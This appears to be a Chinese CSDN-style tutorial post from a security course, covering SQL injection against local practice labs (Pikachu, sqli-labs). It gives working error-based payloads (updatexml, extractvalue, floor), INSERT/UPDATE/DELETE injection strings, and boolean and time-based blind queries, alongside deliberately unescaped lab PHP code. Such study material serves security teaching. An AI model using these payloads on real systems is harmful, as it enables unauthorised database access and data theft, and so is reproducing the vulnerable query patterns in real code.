《小迪安全》第16天 SQL注入:查询方式,报错盲注

目录

补充:上一讲中,Access暴力猜解不出时,如何应对

SQL查询方式:INSERT注入

UPDATEXML()报错注入

EXTRACTVALUE()报错注入 

FLOOR()报错注入

SQL查询方式:UPDATE注入

SQL查询方式:DELETE注入

布尔盲注:逻辑判断

时间盲注:延迟判断

 if 语句

Sleep 语句

if  + Sleep 语句

if  + mid + Sleep 语句

if + substr + ascii 码


前言

进行SQL注入时,有很多注入无回显的情况,不回显可能是SQL语句查询方式的问题导致,这个时候需要用到相关的报错或盲注进行后续操作。提前了解SQL语句写法也能更好的在手工注入时选择对应的注入语句。

补充:上一讲中,Access暴力猜解不出时,如何应对

Access偏移注入:解决表名已知但列名无法获取的情况。

也可以查看登录框源码表单值、观察URL特征。

access偏移注入_access偏移注入原理_baynk的博客-CSDN博客

Access偏移注入与原理 - 付杰博客

例如:order by 22 正常,order by 23不正常。

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin 正常

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin 不正常

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin 不正常

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin 不正常

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin 不正常

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正常

说明 admin 表下有6个列。以 '*' 代表 admin 表的字段数,计算 * 所代替字符的位数。

Access偏移注入原理的基本公式:(order by 出的字段数) - 2*('*'号的字段数)

即:

* = 6个字符

2 × * = 12个字符

22 - 12 = 10个字符

所以一级注入语句:

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

如果没有爆出信息,继续二级偏移:

union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

SQL查询方式:INSERT注入

select 查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id

insert 插入数据
在网站应用中进行用户注册添加等操作
例: insert into news (id, url,text) values ( 2,'x','$t')

delete 删除数据
后台管理里面删除文章删除用户等操作
例: delete from news where id=$id

update 更新数据
会员或后台中心数据同步或缓存等操作
例: update user set pwd='$p' where id=2 and username=' admin'

order by 排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id , name , price from news order by $order

之前讲的注入基本都是基于SELECT,最常见的一种形式。

以本地靶场 Pikachu->SQL-inject->insert/update 注入 为例。

if(isset($_POST['submit'])){
    if($_POST['username']!=null &&$_POST['password']!=null){
//      $getdata=escape($link, $_POST);//转义

        //没转义,导致注入漏洞,操作类型为insert
        $getdata=$_POST;
        $query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
        $result=execute($link, $query);
        if(mysqli_affected_rows($link)==1){
            $html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
        }else {
            $html.="<p>注册失败,请检查下数据库是否还活着</p>";

        }
    }else{
        $html.="<p>必填项不能为空哦</p>";
    }
}

开启抓包,点击提交,发现数据包是以下格式:

尝试常规注入语句时:

username=xiaodi' order by 1&password=123456&sex=man&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

页面无回显,只有注册成功或报错。

来到数据库命令行,发现这样的注入语句根本无法正常执行。

无回显指的在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注分为以下三类:

  • 基于布尔的SQL盲注:逻辑判断

                regexp, like, ascii, left, ord, mid

  • 基于时间的SQL盲注:延时判断

                if, sleep

  • 基于报错的SQL盲注:报错回显

                floor, updatexml, extractvalue

参考:12种报错注入+万能语句 - 简书

实际情况中,优先尝试报错注入(效率最高),其次布尔盲注、时间盲注。

UPDATEXML()报错注入

接下来,针对Pikachu insert/update注入,尝试使用报错注入爆信息。

首先了解一下updatexml()函数。

UPDATEXML(XML_document, XPath_string, new_value);
    XML_document: String格式,为XML文档对象的名称,文中为Doc
    XPath_string: Xpath格式的字符串
    new_value: String格式,替换查找到的符合条件的数据
    作用:改变文档中符合条件的节点的值(改变XML_document中符合XPATH_string的值)

使用UPDATEXML()注入。注入语句:

updatexml(1,concat(0x7e,database(),0x7e),1)
updatexml(1,concat(0x7e,version(),0x7e),1)
updatexml(1,concat(0x7e,user(),0x7e),1)

// concat()函数是将括号内连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出信息

username=xiaodi'or updatexml(1,concat(0x7e,database(),0x7e),0) or'&password=123456&sex=man&phonenum=13878787878&email=wuhan&add=hubei&submit=submit

EXTRACTVALUE()报错注入 

extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称
  第二个参数:XPath_string (Xpath格式的字符串)
  concat:返回结果为连接参数产生的字符串。
username=xiaodi'or extractvalue(1,concat(0x7e,(select version()),0x7e)) or'&password=123456&sex=man&phonenum=13878787878&email=wuhan&add=hubei&submit=submit

FLOOR()报错注入

  • floor() 函数,向下取整
  • rand() 函数,取随机数,若有参数x,则每个x对应一个固定的值,如果连续多次执行会变化,但是可以预测
  • floor( rand( 0 ) * 2 ) 产生的随机序列为011011…

利用数据库表主键不能重复的原理,使用 GROUP BY 分组,产生主键key冗余,导致报错,要使用floor报错注入则必须保证查询的表必须大于三条数据。

username=x'or select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or'&password=123456&sex=man&phonenum=13878787878&email=wuhan&add=hubei&submit=submit

SQL查询方式:UPDATE注入

if(isset($_POST['submit'])){
    if($_POST['sex']!=null && $_POST['phonenum']!=null && $_POST['add']!=null && $_POST['email']!=null){
//        $getdata=escape($link, $_POST);

        //未转义,形成注入,sql操作类型为update
        $getdata=$_POST;
        $query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'";
        $result=execute($link, $query);
        if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
            header("location:sqli_mem.php");
        }else {
            $html1.='修改失败,请重试';

        }
    }
}

注入语句:

sex=男' or updatexml(1,concat(0x7e,version())),0) or '&phonenum=13878787878&email=wuhan&add=hubei&submit=submit

SQL查询方式:DELETE注入

与删除操作相关。

// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
//没对传进来的id进行处理,导致DEL注入
if(array_key_exists('id', $_GET)){
    $query="delete from message where id={$_GET['id']}";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        header("location:sqli_del.php");
    }else{
        $html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
    }
}

抓包发现删除的操作和URL参数‘id’挂钩,即为注入点,注入语句拼接在其后即可:

注入语句:空格以 '+' 号或 '%20' 编码替代。

?id=58+or+updatexml(1,concat(0x7e,database()),0)
?id=58+or+extractvalue(1,concat(0x7e,database()))

布尔盲注:逻辑判断

函数:regexp, like, ascii, left, ord, mid

mid(str,start,length)  :字符串截取
ORD()                  :转换成ascii码
Length()               :统计长度
version()              :查看数据库版本
database()             :查看当前数据库名
user()                 :查看当前用户
like 'ro%'                  #判断ro或ro...是否成立
regexp '^xiaodi[a-z]'       #匹配xiaodi及xiaodi...等
if(条件,5,0)                 #条件成立 返回5 反之 返回0
sleep(5)                    #soL语句延时执行5秒
mid(a,b,c)                  #从位置b开始,截取a字符串的c位
substr(a,b,c)               #从b位置开始,截取字符串a的c长度
left(database(),1)          #left(a,b)从左侧截取a的前b位 
                            #一般用于有回显、但服务器限制输出长度的情况
length(database())=8        #判断数据库database()名的长度
ord=ascii ascii(x)=97 		#判断x的ascii码是否等于97

 参考:sqli-labs/mysql-injection.pdf at master · lcamry/sqli-labs · GitHub

以 Sqlilabs/less-5/ 为例。这是一个无回显的题。

注入语句:(猜解版本、数据库名)

127.0.0.1/sqlilabs/less-5/?id=1' and left(version(),3)='5.5'--+
127.0.0.1/sqlilabs/less-5/?id=1' and left(database(),2)='se'--+

回显正常。说明猜解的版本号前3位 & 数据库名前2位正确。

注入语句:回显不正常说明猜解不正确。

127.0.0.1/sqlilabs/less-5/?id=1' and left(database(),2)='sx'--+

同样,无回显时也可以用length、mid、if、sleep等函数的结合通过页面是否正常判断猜解的信息是否正确。

时间盲注:延迟判断

if(条件,5,0)                 #条件成立 返回5 反之 返回0
sleep(5)                    #soL语句延时执行5秒

 if 语句

在mysql中 if() 函数的用法类似 Java 中的三目表达式,其用处也比较多,具体语法如下:

参考:https://www.cnblogs.com/zjdxr-up/p/8383609.html

if(expr1,expr2,expr3)
# 如果expr1的值为true, 则返回expr2的值;
# 如果expr1的值为false, 则返回expr3的值。
mysql> select if(database()='pikachu',123,456);
+----------------------------------+
| if(database()='pikachu',123,456) |
+----------------------------------+
|                              123 |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select if(database()='dadadad',123,456);
+----------------------------------+
| if(database()='dadadad',123,456) |
+----------------------------------+
|                              456 |
+----------------------------------+
1 row in set (0.00 sec)

Sleep 语句

sleep(n)成功返回0,失败返回1。and 0 所以没有回显。

mysql> select * from member where id=1;
+----+----------+----------------------------------+-------+----------+---------+--------+
| id | username | pw                               | sex   | phonenum | address | email  |
+----+----------+----------------------------------+-------+----------+---------+--------+
|  1 | vince    | e10adc3949ba59abbe56e057f20f883e | admin | asdasd   | 四川    | 成都   |
+----+----------+----------------------------------+-------+----------+---------+--------+
1 row in set (0.00 sec)

mysql> select * from member where id=1 and sleep(1);
Empty set (1.00 sec)

mysql> select * from member where id=1 and sleep(5);
Empty set (5.00 sec)

if  + Sleep 语句

mysql> select * from member where id=1 and sleep(if(database()='pikachu',5,0));
Empty set (5.00 sec)

不需回显,通过延迟时间判断条件是否成立。但实际渗透过程中由于受到网络的影响,时间注入不是很靠谱,不推荐。

以 Sqlilabs/Less-2 为例:注入语句:

127.0.0.1:8080/sqlilabs/less-2/?id=1 and sleep(if(database()='a',5,0))--+

实际使用可以先用 length() 猜解判断数据库名/表名/列名的长度,再用 ascii() 和 substr() 猜解每一位字符的ascii码。

if  + mid + Sleep 语句

判断数据库名称是不是以p开头,如果是的话就延迟五秒输出。

mysql> select database();
+------------+
| database() |
+------------+
| pikachu    |
+------------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and sleep(if(mid(database(),1,1)='p',5,0));
Empty set (5.00 sec)

if + substr + ascii 码

if(ascii(substr(database(),1,1))=115,1,sleep(5))

's' 的 ascii 码是 115。判断数据库名第一位是否为 's'。

if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0)--+
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值